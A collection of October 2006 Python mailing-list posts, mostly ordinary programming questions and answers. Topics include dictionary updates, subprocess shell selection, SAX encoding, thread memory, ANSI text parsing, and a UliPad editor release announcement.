>> updateDS1v(FSas, 'S')
>> updateDS1v(FClas, 'Cl')
>> updateDS1v(FBras, 'Br')
>> updateDS1v(FZnas, 'Zn')
>>     
>
>   
>> it works perfectly now
>>     
>
> Probably not. Have you manually verified the result with more than one
> example? Where does 'heavy' come from? Is that black hole 'atoms'
> intentional? 
>
> # I'm just guessing here
> for k, v in DSvalues.iteritems():
>     DSvalues[k] = float(v)
>
> def updateDS1v(Fxas, x):
>     DS1v[x] = DS1v.get(x, 0) + Fxas*DSvalues[x]
>
> Peter
>   
yea...sorry i snipped one line by accident for the email
should be:

def updateDS1v(Fxas, x):
if Fxas !=0 and DS1v.get(x)!=None:
value = DSvalues.get(heavy)
floatvalue = float(value)
atoms = DS1v.get(x) + Fxas*floatvalue
DS1v[x] = atoms
else:
value = DSvalues.get(heavy)
floatvalue = float(value)
DS1v[x] = Fxas*floatvalue

thanks

a

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From gerrit at nl.linux.org  Mon Oct  9 08:52:46 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Mon, 9 Oct 2006 14:52:46 +0200
Subject: file system iteration
In-Reply-To: <egdg02$pcd$1@solaris.cc.vt.edu>
References: <egdg02$pcd$1@solaris.cc.vt.edu>
Message-ID: <20061009125246.GA16152@topjaklont.student.utwente.nl>

On 2006-10-09 14:45:35 +0200, rick wrote:
> import os.path
> 
> paths = []
> 
> if os.path.isdir('A:/'):
>     paths.append('A:/')
> 
> if os.path.isdir('B:/'):
>     paths.append('B:/')
> 
> ...
> 
> That's a kludge, but it works OK. I'm sure WMI may have a function that 
> returns mounted volumes, but under the circumstances currently, I can 
> only use the standard Python library. Any ideas on how to do this better?

The very least you can try:

import string
string.ascii_uppercase

for c in string.ascii_uppercase:
    if os.path.isdir('%s:/' % c):
        ...

etc.
But I suppose there should be a better way.

Gerrit.


From irmen.NOSPAM at xs4all.nl  Wed Oct  4 13:49:59 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Wed, 04 Oct 2006 19:49:59 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <LnRUg.5$5H6.3@newsfe05.lga>
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga> <4oi4meFep2seU1@uni-berlin.de>
	<LnRUg.5$5H6.3@newsfe05.lga>
Message-ID: <4523f44d$0$4528$e4fe514c@news.xs4all.nl>

Edward K. Ream wrote:

> What suits me best is what the *user* specified, and that got put in the 
> first xml line.
> I'm going to have to parse this line myself.

Please consider adding some elements to the document itself that
describe the desired output format, such as:

...
<output>
   <encoding>utf-8</encoding>
</output>
...

This allows the client to specify the encoding it wants to receive
the document in, even if it's different than the encoding it used
to make the first document. More flexibility. Less fooling around.

--Irmen


From rdelsalle at gmail.com  Fri Oct 13 09:50:55 2006
From: rdelsalle at gmail.com (di0rz`)
Date: 13 Oct 2006 06:50:55 -0700
Subject: edit a torrent file with python
Message-ID: <1160747455.818572.293490@m7g2000cwm.googlegroups.com>

hi,
I am looking for a python script to edit .torrent files
if anybody know one thx



From fakeaddress at nowhere.org  Tue Oct 24 01:40:59 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 24 Oct 2006 05:40:59 GMT
Subject: multythreading app memory consumption
In-Reply-To: <lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
References: <mailman.952.1161559842.11739.python-list@python.org>
	<lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
Message-ID: <LHh%g.2593$T_1.832@newssvr14.news.prodigy.com>

Dennis Lee Bieber wrote:
> 	How much stack space gets allocated for 150 threads?

In Python 2.5, each thread will be allocated

     thread.stack_size()

bytes of stack address space. Note that address space is
not physical memory, nor even virtual memory. On modern
operating systems, the memory gets allocated as needed,
and 150 threads is not be a problem.


-- 
--Bryan


From heller at deepsoft.com  Tue Oct 17 23:09:21 2006
From: heller at deepsoft.com (Robert Heller)
Date: Wed, 18 Oct 2006 05:09:21 +0200
Subject: Python wrapper for C++ core
In-Reply-To: <1161130743.245002.67410@k70g2000cwa.googlegroups.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>,
	<711c2$453570a2$404a99a1$22922@news.news-service.com>,
	<1161130743.245002.67410@k70g2000cwa.googlegroups.com>
Message-ID: <8c21f$45359ae1$404a99a1$4588@news.news-service.com>

At 17 Oct 2006 17:19:03 -0700 "handful of nothing" <handful at gmail.com> wrote:

> 
> IMHO,
> 
> What I learned with the time and of course with books =) :
> 
> Python gives you rapid turnaround. You can try different approaches and
> archictetures to solve the problem in much faster way than you would
> with C++.

Yes, this is especially true of GUI programming.  I can create a Tcl/Tk,
*cross platform* GUI front end very rapidly and that GUI can be easily
and quickly 'tweaked' as needed, again very rapidly.  I guess a Python
program could build and tweak a Python/Tk GUI as quickly.

> 
> When you really need to crunch numbers, and numpy/othermodule is not
> enough for you, then you would need to go down and optimize it in c++.
> 
> So, the ability to change, re-create and try another strategy would be
> a killer reason for me to use python (like I have in the past) for
> games or sim apps.
> 
> []s
> Robert Heller wrote:
> > At 17 Oct 2006 16:05:40 -0700 holly.woodland at gmail.com wrote:
> >
> > >
> > > Hi All
> > >
> > > Apologies in advance for the pretty basic question - but I can't seem
> > > to find an answer anywhere else.
> > >
> > > I am developing a fluid sim in C++ and have heard that many people use
> > > Python in conjunction with C++ for this sort of thing (especially in
> > > games dev).
> > >
> > > What I can't understand why you would want to do this. Obviously the
> > > core would be written in C++ (for my purposes anyway) so what parts
> > > would be written in Python? What is the benefit, in this situation, of
> > > using Python instead of C++?
> > >
> > > thanks for your help
> >
> > If they were using Python/Tk to develop a GUI, it makes sense (although
> > I would use Tcl/Tk, being a Tcl fan).  In either case, SWIG can generate
> > the interface between C/C++ and Python/Tcl.
> >
> > >
> > > Holly
> > >
> > >
> >
> > --
> > Robert Heller             -- 978-544-6933
> > Deepwoods Software        -- Linux Installation and Administration
> > http://www.deepsoft.com/  -- Web Hosting, with CGI and Database
> > heller at deepsoft.com       -- Contract Programming: C/C++, Tcl/Tk
> 
>                                                      

-- 
Robert Heller             -- 978-544-6933
Deepwoods Software        -- Linux Installation and Administration
http://www.deepsoft.com/  -- Web Hosting, with CGI and Database
heller at deepsoft.com       -- Contract Programming: C/C++, Tcl/Tk
                                                      


From ziga.seilnacht at gmail.com  Sat Oct  7 05:49:21 2006
From: ziga.seilnacht at gmail.com (Ziga Seilnacht)
Date: 7 Oct 2006 02:49:21 -0700
Subject: Dumping the state of a deadlocked process
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
Message-ID: <1160214561.482361.205240@h48g2000cwc.googlegroups.com>

andre.naess at gmail.com wrote:
> Hi all
>
> I'm currently having some issues with a process getting deadlocked. The
> problem is that the only way I can seem to find information about where
> it deadlocks is by making a wild guess, insert a pdb.set_trace() before
> this point, and then step until it locks up, hoping that I've guessed
> right.
>
> The frustrating part is that most of the time my guesses are wrong.
>
> It would be really nice if I could send the python process some signal
> which would cause it to print the current stacktrace and exit
> immediately. That way I would quickly be able to pinpoint where in the
> code the deadlock happens. Java has a somewhat similar feature where
> you can send a running VM process a SIGQUIT, to which it will respond
> by dumping all current threads and lots of other information on stdout.
>
> Is this possible somehow?

Check out the sys._current_frames() function, new in Python 2.5:
http://docs.python.org/lib/module-sys.html#l2h-5122

Hope this helps,
Ziga



From limodou at gmail.com  Mon Oct  9 03:52:39 2006
From: limodou at gmail.com (limodou)
Date: Mon, 9 Oct 2006 15:52:39 +0800
Subject: ANN:UliPad 3.4 Release
Message-ID: <mailman.114.1160395429.11739.python-announce-list@python.org>

What's it?
========

It's an Editor based on wxPython. NewEdit is the old name, and UliPad
is the new name. UliPad uses Mixin and Plugin technique as its
architecture. Most of its classes can be extended via mixin and plugin
components, and finally become an integrity class at
creating the instance. So UliPad is very dynamic. You can write the
new features in new files, and hardly need to modify the existing
code. And if you want to extend the existing classes, you could write
mixins and plugins, and this will be bound to the target class that I
call "Slot Class". This technique will make the changes centralized
and easily managed.

What's new in 3.4
==============

* Bug fix
* Notebook control changed to FlatNotebook
* Ctrl+Enter can directly add new line, just like(End+Enter)
* jQuery support: project setup, auto create comments for functions
* Creating django app's dot file, and see the image in a window
* Multi view of document
* Commands searching and impact mode
* ReStructuredText support: project setup, syntax highlight, html view
and auto update
* Django Template syntax highlight
* ctags support
* move python syntax check plugin into core
* Auto syntax highlight bind and auto-complete file bind in _project

Where to download it?
================

download lastest version 3.4:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad_3.4.zip
also have windows installer:
http://wiki.woodpecker.org.cn/moin/UliPad?action=AttachFile&do=get&target=UliPad3.4.exe
wiki: http://wiki.woodpecker.org.cn/moin/UliPad
svn: http://cvs.woodpecker.org.cn/svn/woodpecker/ulipad/trunk
maillist: http://groups.google.com/group/ulipad

If you have any problem as using UliPad, welcome to join the UliPad
maillist to discuss.

What are its features?
================

* Cross platform

    * based on wxPython, so it can run anywhere that wxPython works,
such as: Windows, Linux.
    * Unicode support.

* Most features of wxStyledTextCtrl(Scintilla)

    * Syntax highlighting, support Python, c/c++, html, django
template, restructured text, ruby, perl, css, javascript, plain text
    * Folding
    * Brace Matching
    * ...

* Extended selection

    * Extended word selection -- You can press Ctrl+?MouseDoubleClick
to select a word including '.'
    * Matched selection -- Select text in quoted chars like: (), [], {}, '', "".
          * For example: a string just like::

                    def func(self, 'This is a test'):
                                  ^


            The '^' char represents caret position in above line. If
you press Ctrl+E, you will select the whole text in (), i.e. "self,
'This is a test'". Something more in Selection Menu.

* Other editing extension

    * Duplicating text -- Just like Vim Ctrl+V, Ctrl+P, and more. You
can duplicate above or below char, word, line
          * which match the leading chars.
    * Quoting text -- Add some quoted chars before and after selected
text, just as: "", '', (), [], {}, and
          * customized string, etc.
    * Text convertion and view -- python -> html, reStructured Text ->
html, textile -> html, and you can output or view
          * the html text in message window, or html view window, or
replace the selected text.
    * Utf-8 encoding auto detect
    * Changing document encoding
    * Auto backup
    * Last session support -- It'll save all the filenames as closed,
and reopen the files as next started.
    * Smart judge the indent char -- It'll auto guess the indent char,
and sets it.
    * Finding in files
    * Bookmark support

* Python support

    * built-in python interactive window based on PyShell, support Unicode
    * Auto completion
    * Function syntax calltips
    * Run, run with argument, stop python source
    * Auto change current path
    * Python class browser
    * Syntax check

* Code snippets

    * You can manage your code snippets with categories, and each
category can have many items. Every item will represent a code
snippet. You can insert an item just by double-clicking on it. It even
supports importing and exporting.

* Simple project support

    * Can create a special file _project, so every file and folder
under the folder which has the _project can be considered as a whole
project.

* Extension mechanism

    * Script -- You can write easy script to manipulate the all
resource of UliPad(NewEdit), just like: text conversion, etc.
    * Plugin -- Customized function. More complex but more powerful.
Can easily merge with UliPad(NewEdit), and can be
          * managed via menu.
    * Shell command -- Add often used shell commands, and execute them.

* Ftp support

    * You can edit remote files through ftp. You can add, rename,
delete, upload, download file/directory.

* Multilanguage support

    * Currently supports two languages: English and Chinese, which can
be auto-detected.

* Shipped many plugins(must be configed as used them before)

    * djangoproj -- user for django development

* Shipped scripts

    * You can find them at UliPad/scripts directory

* Wizard

    * You can make your own wizard template. The wizard can input user
data, combine with template, and output the result. And wizard also
support code framework created. This feature will help you improving
coding efficiency.

* Direcotry Browser

    * Browse multiple directories, and you can really add, delete,
rename directories and files. Double click will open the file in
Editor window.

* Input Assistant

    * Suport user autocomplete file, it can help to input code very
helpful and functional. Just like EditPlus, but may be more powerful.

* Column Editing Mode

    * You can select multilines, and then set a column mode region, so
in any line of this region, if you enter a character, other lines will
also add this character. If you want to deal with multilines as a
similar mode, this functionality will be very handy.

Hope fun!

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From theller at python.net  Fri Oct  6 15:03:33 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Oct 2006 21:03:33 +0200
Subject: News on versions modules for Python-2.5?
In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr>
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <eg69a5$pje$2@sea.gmane.org>

M?ta-MCI schrieb:
> Hi, all!
> 
> 
> Any news, on release Python-2.5 for many modules/lib?
> Some exemples:
> 
>     Console (Effbot)
>     SciPy
>     Iconvcodec
>     DirectPython
>     SendKeys
>     Dislin
>     PyGame
>     Twain
>     etc.
> 
> 
> And who can confirm that these modules are independent of Python version?
> 
>     ReportLab
>     Pyrex
>     ComTypes
>     PythonNet
>     Gmpy
>     Kodos
>     Candygram
>     Venster
>     etc.

comtypes and venster to not contain any C code, so changes are good
that they work in Python 2.5 as well.  AFAIK, venster still uses the
no longer supported ctypes.com package, it should be updated to
use comtypes instead.

Thomas



From grante at visi.com  Mon Oct 16 15:30:11 2006
From: grante at visi.com (Grant Edwards)
Date: Mon, 16 Oct 2006 19:30:11 -0000
Subject: How to send E-mail without an external SMTP server ?
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
	<mailman.559.1160989638.11739.python-list@python.org>
	<GaPYg.14509$UG4.2312@newsread2.news.pas.earthlink.net>
Message-ID: <12j7ne3453jlaef@corp.supernews.com>

On 2006-10-16, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> On Mon, 16 Oct 2006 17:04:19 +0800, "fdu.xiaojf at gmail.com"
><fdu.xiaojf at gmail.com> declaimed the following in comp.lang.python:
>
>> 
>> Yes, I want to find a way to send email without an external smtp server.
>>
> 	You're going to have to hit an SMTPd somewhere along
> the route... Many moons ago it was easy to connect directly to
> the recipient's mail server (and even easier to grab any
> server one could find, to send mail to any address).

But those were smtp servers, so I don't see you the OP could
have accomplished his goal unless you set the wayback machine
to pre-Internet days and use the uucp transport mechanism.

> In closing down these "open relays" to block spammers, many
> SMTPd's are now configured to accept "outgoing" mail only from
> hosts that are part of the local network, and to accept
> "incoming" mail only if the recipient is a member of the local
> network. Hence, most client programs are now configured to
> connect to the local ISP server to relay mail.

That local ISP server is also an smtp server.  I haven't heard
of anybody accepting vail via uucp for at least 10 years.  I'm
not saying that such hosts don't exist, but that they're pretty
darned rare.

-- 
Grant Edwards                   grante             Yow!  Today, THREE WINOS
                                  at               from DETROIT sold me a
                               visi.com            framed photo of TAB HUNTER
                                                   before his MAKEOVER!


From cameron.walsh at gmail.com  Fri Oct 27 00:03:31 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 27 Oct 2006 12:03:31 +0800
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <mailman.1319.1161920633.11739.python-list@python.org>
References: <mailman.1319.1161920633.11739.python-list@python.org>
Message-ID: <ehs0de$pk6$1@enyo.uwa.edu.au>

Wijaya Edward wrote:
> Hi all,
> 
> I was trying to split a string that 
> represent chinese characters below:
>  
>  
>>>> str = '\xc5\xeb\xc7\xd5\xbc'
>>>> print str2,
> ???
>>>> fields2 = split(r'\\',str)
>>>> print fields2,
> ['\xc5\xeb\xc7\xd5\xbc']
> 
> But why the split function here doesn't seem
> to do the job for obtaining the desired result:
>  
> ['\xc5','\xeb','\xc7','\xd5','\xbc']
>  

Depends on what you want to do with them:

 >>> string = '\xc5\xeb\xc7\xd5\xbc'
 >>> for char in string:
         print char


?
?
?
?
?
 >>> list_of_characters = list(string)
 >>> list_of_characters
['\xc5', '\xeb', '\xc7', '\xd5', '\xbc']
 >>> for char in string:
         char


'\xc5'
'\xeb'
'\xc7'
'\xd5'
'\xbc'
 >>> for char in list_of_characters:
         print char


?
?
?
?
?
 >>> string[3]
'\xd5'
 >>> string[1:3]
'\xeb\xc7'

Basically, you characters are already separated into a list of 
characters, that's effectively what a string is (but with a few more 
methods applicable only to lists of characters, not to other lists).


From mike$#at^&nospam!%trauschus  Sun Oct 22 00:34:14 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Sun, 22 Oct 2006 00:34:14 -0400
Subject: Attempting to parse free-form ANSI text.
Message-ID: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>

Alright... I am attempting to find a way to parse ANSI text from a
telnet application.  However, I am experiencing a bit of trouble.

What I want to do is have all ANSI sequences _removed_ from the output,
save for those that manage color codes or text presentation (in short,
the ones that are ESC[#m (with additional #s separated by ; characters).
 The ones that are left, the ones that are the color codes, I want to
act on, and remove from the text stream, and display the text.

I am using wxPython's TextCtrl as output, so when I "get" an ANSI color
control sequence, I want to basically turn it into a call to wxWidgets'
TextCtrl.SetDefaultStyle method for the control, adding the appropriate
color/brightness/italic/bold/etc. settings to the TextCtrl until the
next ANSI code comes in to alter it.

It would *seem* easy, but I cannot seem to wrap my mind around the idea.
 :-/

I have a source tarball up at http://fd0man.theunixplace.com/Tmud.tar
which contains the code in question.  In short, the information is
coming in over a TCP/IP socket that is traditionally connected to with a
telnet client, so things can be broken mid-line (or even mid-control
sequence).  If anyone has any ideas as to what I am doing, expecting, or
assuming that is wrong, I would be delighted to hear it.  The code that
is not behaving as I would expect it to is in src/AnsiTextCtrl.py, but I
have included the entire project as it stands for completeness.

Any help would be appreciated!  Thanks!

	-- Mike


From odalrick at hotmail.com  Fri Oct 20 18:15:27 2006
From: odalrick at hotmail.com (Odalrick)
Date: 20 Oct 2006 15:15:27 -0700
Subject: Selecting sub-images with wxPython
Message-ID: <1161382527.384096.253550@i3g2000cwc.googlegroups.com>

I have an image displayed with wxPython and I need to let the user
designate an area of that image. Something like a rectangle you can
move and resize with the mouse, the exact details aren't important. So
I'm wondering if there is an easy way to do this, or will I have to
muck about with custom paintjobs?

Currently I'm using wx.lib.statbmp.GenStaticBitmap to display the
image, but that has me a little worried because I can't find any
documentation on it. The only reference was in an example that helped
me with another problem I had.

Grateful for any help.
/Odalrick



From fredrik at pythonware.com  Wed Oct 11 04:15:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 10:15:05 +0200
Subject: PyDoc and mod_python
In-Reply-To: <452CA695.60205@gmail.com>
References: <452CA695.60205@gmail.com>
Message-ID: <egi969$77b$1@sea.gmane.org>

durumdara wrote:

> I need to write documentation for my mod_python website, for the base 
> classes, functions, modules.
> The problem, that mod_python is imported "apache" that not existing in 
> the normal, pythonic way (only in Apache).

> problem in c:\test.py - ImportError: No module named _apache
> 
> So I need a cheat, or I need to force the pydoc to avoid to parse these 
> modules...
> 
> Is anybody have an experience, how can I do it ?

add a stub module, or switch to a documentation tool that uses source 
code inspection.

</F>



From onurb at xiludom.gro  Mon Oct 16 05:23:52 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 11:23:52 +0200
Subject: python's OOP question
In-Reply-To: <1160969393.803021.274070@e3g2000cwe.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
Message-ID: <45334fa9$0$5656$426a74cc@news.free.fr>

neoedmund wrote:
(*PLEASE* stop top-posting - corrected)
> 
> Ben Finney wrote:
>> [Please don't top-post above the text to which you're replying.]
>>
>> "neoedmund" <neoedmund at gmail.com> writes:
>>
>>> I'm trying to achieve a higher level of "reusability". Maybe it
>>> cannot be done in python? Can anybody help me?
>> What, specifically, are you trying to achieve? What problem needs
>> solving?

> python use multiple inheritance.
> but "inheritance" means you must inherite all methods from super type.
> now i just need "some" methods from one type and "some" methods from
> other types, to build the new type.
> Do you think this way is more flexible than tranditional inheritance?

While dynamically adding attributes (and methods - which are attributes
too) is not a problem, I'd second Gregor's anwser : it might be better
to use composition/delegation here.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From Benjamin.Barker at gmail.com  Sun Oct  8 08:54:25 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 05:54:25 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
Message-ID: <1160312065.656400.275770@k70g2000cwa.googlegroups.com>

...and when I print out the string, it is still formatted as one would
expect a list to be:

<type 'str'> "['01', '02', '03', '04']"



Ben wrote:
> Ah... my list is a string. That explains the len() results, but not why
> it is a string in the dirst place.
>
> I have a dictionary containing a number of instances of the following
> class as values:
>
> class panel:
>     mops =[]
>
>     def __init__(self,number,level,location,mops,matrix):
>          self.number=number
>          self.level=level
>          self.location=location
>          self.mops=mops
>          self.matrix=matrix
>
>
> abve mops is a list, yet when I access it it is a string...
>
>
>
> Fredrik Lundh wrote:
> > Ben wrote:
> >
> > > The output from this would be (for a given key value):
> > >                 Number:	181
> > >                 Level:	ovride+supvis
> > >                 Location:	 mons=4 v8.0 3rd floor
> > >                 MOPS:	['287', '288', '289', '290']
> > >                 List Length:	28
> > >                 Matrix:	kng
> > >
> > > This is really odd...my len(v.mops) ought to return 4 (4 elements in
> > > the list).
> >
> > adding a
> >
> >      print type(v.mops), repr(v.mops)
> >
> > debug statement might provide you with the clues you need.
> >
> >  > In fact it returns 28. looking at outputs from lots of
> > > records, it seems that the length is almost always 7 time too great
> > > (28/7=4)....but not always.
> >
> >  >>> len("['287',")
> > 7
> >  >>> len(" '288',")
> > 7
> >  >>> len(" '289',")
> > 7
> >  >>> len(" '290']")
> > 7
> > 
> > </F>



From gabrielg_laburando at yahoo.com.ar  Tue Oct  3 21:11:47 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Tue, 03 Oct 2006 22:11:47 -0300
Subject: PEP 358 and operations on bytes
In-Reply-To: <87k63gj41g.fsf@benfinney.id.au>
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>
	<87k63gj41g.fsf@benfinney.id.au>
Message-ID: <7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar>

At Tuesday 3/10/2006 21:52, Ben Finney wrote:

>Gerrit Holl <gerrit at nl.linux.org> writes:
>
> > operations that aren't currently defined in PEP 358, like:
> >
> >     - str methods endswith, find, partition, replace, split(lines),
> >       startswith,
> >     - Regular expressions
> >
> > I think those can be useful on a bytes type. Perhaps bytes and str
> > could share a common parent class? They certainly share a lot of
> > properties and possible operations one might want to perform.
>
>Looking at those, I don't see why they wouldn't be useful for *all*
>sequence types. Perhaps there needs to be a 'seq' type containing
>those common methods, that is the superclass of 'str', 'bytes',
>'list', 'tuple' et cetera.

find() could be useful sometimes.
But what means partition, replace, split, etc on a generic sequence?



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From insideview at gmail.com  Thu Oct 12 18:36:50 2006
From: insideview at gmail.com (insideview at gmail.com)
Date: 12 Oct 2006 15:36:50 -0700
Subject: Installing Python 2.3.5 - get "need administrator access" to install
	error.....
Message-ID: <1160692610.181692.24050@h48g2000cwc.googlegroups.com>

Hi there - when attempting to install Python 2.3.5, I receive the
following message -- "You do not have access to make the required
system configuration modifications." Please rerun this installation
from an administrators account. I am running Windows XP in
administrator mode, and have installed versions 4 & 5 with no problems
today.  What could be hanging this older versions installation up?



From clodoaldo.pinto at gmail.com  Mon Oct 16 20:28:11 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 16 Oct 2006 17:28:11 -0700
Subject: Output from subprocess.Popen()
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<1161033460.506489.96820@b28g2000cwb.googlegroups.com>
	<mailman.600.1161034297.11739.python-list@python.org>
Message-ID: <1161044891.272758.88420@h48g2000cwc.googlegroups.com>

Fredrik Lundh wrote:
> sjdevnull at yahoo.com wrote:
>
> > I can't see any obvious way to ask subprocess to use a shell other than
> > the default.
>
> -c ?
>
>  >>> f = Popen(["/bin/bash", "-c", "set|grep IFS"], stdout=PIPE)
>  >>> f.stdout.read()
> "IFS=$' \\t\\n'\n"
>  >>> f = Popen(["/bin/sh", "-c", "set|grep IFS"], stdout=PIPE)
>  >>> f.stdout.read()
> "IFS=' \t\n"

It solves my problem:
>>> f = sub.Popen(['/bin/sh', '-c', 'set|grep IFS'], stdout=sub.PIPE)
>>> f.stdout.read()
"BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n"
>>> f = sub.Popen(['/bin/bash', '-c', 'set|grep IFS'], stdout=sub.PIPE)
>>> f.stdout.read()
"BASH_EXECUTION_STRING='set|grep IFS'\nIFS=$' \\t\\n'\n"

But I still don't understand what is happening. The manual says that
when shell=True the executable argument specifies which shell to use:

>>> f = sub.Popen('set|grep IFS', shell=True, executable='/bin/sh', stdout=sub.PIPE)
>>> f.stdout.read()
"BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n"
>>> f = sub.Popen('set|grep IFS', shell=True, executable='/bin/bash', stdout=sub.PIPE)
>>> f.stdout.read()
"BASH_EXECUTION_STRING='set|grep IFS'\nIFS=' \t\n"

To make my confusion bigger, in Fedora sh is just a link to bash:
$ ll /bin/*sh
-rwxr-xr-x 1 root root  720888 Feb 11  2006 /bin/bash
lrwxrwxrwx 1 root root       4 Aug 28 22:53 /bin/csh -> tcsh
-rwxr-xr-x 1 root root 1175496 Aug 17 13:19 /bin/ksh
lrwxrwxrwx 1 root root       4 Feb 24  2006 /bin/sh -> bash
-rwxr-xr-x 1 root root  349312 Aug 17 15:20 /bin/tcsh
-rwxr-xr-x 1 root root  514668 Feb 12  2006 /bin/zsh



From steven.bethard at gmail.com  Sat Oct 14 12:39:25 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 14 Oct 2006 10:39:25 -0600
Subject: optparse: add trailing text in help message?
In-Reply-To: <mailman.465.1160759456.11739.python-list@python.org>
References: <mailman.465.1160759456.11739.python-list@python.org>
Message-ID: <Zs-dnax4aZ4ij6zYnZ2dnUVZ_oqdnZ2d@comcast.com>

Count L?szl? de Alm?sy wrote:
> Is there a standard way with optparse to include a blurb of text after
> the usage section, description, and the list of options?  This is
> often useful to include examples or closing comments when the help
> message is printed out.  Many of the GNU commands do this.
> 
> It would look something like this:
> 
> % program --help
> 
> usage: program [options]
> 
> This is my description text.
> 
> options:
>  -f BAR, --foo=BAR
>                 A sample option
>  --version   show program's version number and exit
>  --help       show this help message and exit
> 
> ==> Now how about closing text after the options list?

What would you like this API to look like?  I could add this pretty 
easily to argparse_ this week.  Maybe something like::

     parser = argparse.ArgumentParser(
         description='This is my ...',
         tail='Now how about closing ...'
     )

Or is there another API that would be better?

.. _argparse: http://argparse.python-hosting.com/

STeVe


From jon+usenet at unequivocal.co.uk  Tue Oct  3 07:17:23 2006
From: jon+usenet at unequivocal.co.uk (Jon Ribbens)
Date: 3 Oct 2006 11:17:23 GMT
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
Message-ID: <slrnei4hm2.27q.jon+usenet@snowy.squish.net>

In article <mailman.1152.1159872720.10491.python-list at python.org>, Matthew Warren wrote:
> I would expect this to work,
> 
> rawstring=r'some things\new things\some other things\'
> 
> But it fails as the last backslash escapes the single quote.

String constants in Python are weird - raw strings doubly so.
In a raw string, backslashes are not special - unless followed by
a quote character, when they simultaneously escape the quote and
also insert a literal backslash.

I presume there was originally some reason for this bizarre behaviour
- it'd be interesting to know what it is/was, if anyone knows?


From maxerickson at gmail.com  Thu Oct 19 12:45:20 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Thu, 19 Oct 2006 16:45:20 +0000 (UTC)
Subject: wxPython help wxSashWindow
References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
	<30MZg.115$1n3.3329@news.tufts.edu>
	<1161268929.535719.288640@m73g2000cwd.googlegroups.com>
Message-ID: <Xns986181C03A313maxericksongmailcom@80.91.229.5>

"MatthewWarren" <matthew_j_warren at hotmail.com> wrote:

> 
> Thanks, is that a newsgroup I can view through google groups? I
> tried seraching for it but google says no..
> 
> And I'll give that list a subscribe.
> 
> I have found a wxPython google group, but only 11 members and a
> handfull of posts in a year...
> 

Gmane archives many mailing lists and also allows access to the lists 
through a news server gateway(news.gmane.org). Posting throught the 
news gateway is allowed for many groups(including this one), but not 
all. For more information and web access to the archives, visit 
http://gmane.org.

max



From horpner at yahoo.com  Wed Oct 25 16:14:26 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Wed, 25 Oct 2006 20:14:26 GMT
Subject: Any way of adding methods/accessors to built-in classes?
References: <mailman.1199.1161805387.11739.python-list@python.org>
	<1161805976.550980.35930@i42g2000cwa.googlegroups.com>
Message-ID: <CAP%g.7776$5i7.7124@newsreading01.news.tds.net>

On 2006-10-25, bearophileHUGS at lycos.com <bearophileHUGS at lycos.com> wrote:
> Kenneth McDonald:
>> not being able to do things like '[1,2,3]'.length
>> drives me a little nuts.
>
> This is interesting, why?
> (In a computer language too much purity is often bad. And isn't
